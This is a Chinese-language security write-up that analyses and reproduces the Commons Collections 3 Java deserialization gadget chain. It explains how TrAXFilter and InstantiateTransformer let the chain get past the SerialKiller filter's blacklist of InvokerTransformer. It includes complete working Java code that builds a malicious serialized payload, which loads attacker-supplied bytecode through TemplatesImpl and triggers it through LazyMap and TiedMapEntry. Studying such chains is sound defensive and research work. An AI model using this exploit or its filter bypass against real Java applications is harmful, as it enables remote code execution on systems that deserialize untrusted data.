CC3链分析与复现

问题描述

概述

CC3主要是使用动态类加载，与CC1和CC6不同，CC1/6是Runtime命令执行，CC3是类加载，然后初始化调用静态代码块。TemplatesImpl加载类和初始化。
CommonsCollections3的⽬的很明显，就是为了绕过⼀些规则对InvokerTransformer的限制。
CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意方法，⽽是⽤到了另⼀个
类， com.sun.org.apache.xalan.internal.xsltc.trax.**TrAXFilte**

调用链分析

TemplatesImpl#newTransformer() -> 
  TemplatesImpl#getTransletInstance() ->
    TemplatesImpl#defineTransletClasses()->
      TransletClassLoader#defineClass()  （类加载）

在defineClass类加载完成以后，又继续运行defineTransletClasses类，会调用newInstance()进行实例化，触发静态代码块。

SerialKiller是⼀个Java反序列化过滤器，可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。它的黑名单中就存在InvokerTransformer类，因此CC3为了绕过黑名单，使用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类，这个类的构造方法中调⽤了(TransformerImpl) templates.newTransformer()，免去了我们使用InvokerTransformer手工调用newTransformer()方法这一步。

这⾥会⽤到⼀个新的 Transformer，就是org.apache.commons.collections.functors.InstantiateTransformer。InstantiateTransformer也是⼀个实现了Transformer接⼝的类，他的作⽤就是调⽤构造⽅法。所以，我们实现的⽬标就是，利⽤ InstantiateTransformer 来调⽤到 TrAXFilter 的构造⽅法，再利⽤其构造⽅法⾥的 templates.newTransformer() 调⽤到 TemplatesImpl ⾥的字节码。避免了使用InvokerTransformer

完整代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3TimplatesImpl {
    public static void main(String[] args) throws Exception {
        //TemplatesImpl中对加载的字节码是有一定要求的：
        //这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
        byte[] data = Files.readAllBytes(Paths.get("E:\\code\\springboot-demo\\src\\main\\java\\com\\duziteng\\springbootdemo\\test\\classLoadTest\\RuntimeTemplatesImpl.class"));

        //TemplatesImpl内部类TransletClassLoader中有个方法defineClass来加载字节码
        //gadget： getOutputProperties -> newTransformer -> getTransletInstance -> defineTransletClasses -> defineClass
        TemplatesImpl obj = new TemplatesImpl();
        //设置变量的一些值来满足判断，保证代码能走到我们想要的位置
        setFieldValue(obj, "_bytecodes", new byte[][]{data}); // _bytecodes由字节码组成的数组
        setFieldValue(obj, "_name", "");//_name可以是任意字符串，只要不为null即可
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//_tfactory 需要是一个 TransformerFactoryImpl 对象，因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ，如果是null会出错。

//        obj.newTransformer();//getTransletInstance -> defineTransletClasses -> newInstance

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),//TrAXFilter构造方法中接收一个transformer然后调用它的transformer方法
                //InstantiateTransformer用来实例化类，它的构造方法接收类的构造方法参数类型和参数值，transformer方法调用newInstance来实例化类
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };

//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{new ConstantTransformer(1)});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aa");
        HashMap<Object, Object> objectHashMap = new HashMap<>();
        objectHashMap.put(tiedMapEntry, "aa");

        decorate.clear();//清空，防止触发一次

        //替换ChainedTransformer为真实的Transformer
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

        serialize(objectHashMap);
        unSerialize();

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser2.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object unSerialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser2.bin"));
        return objectInputStream.readObject();
    }
    /**
     * setFieldValue()设置私有属性
     */
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

解决方法

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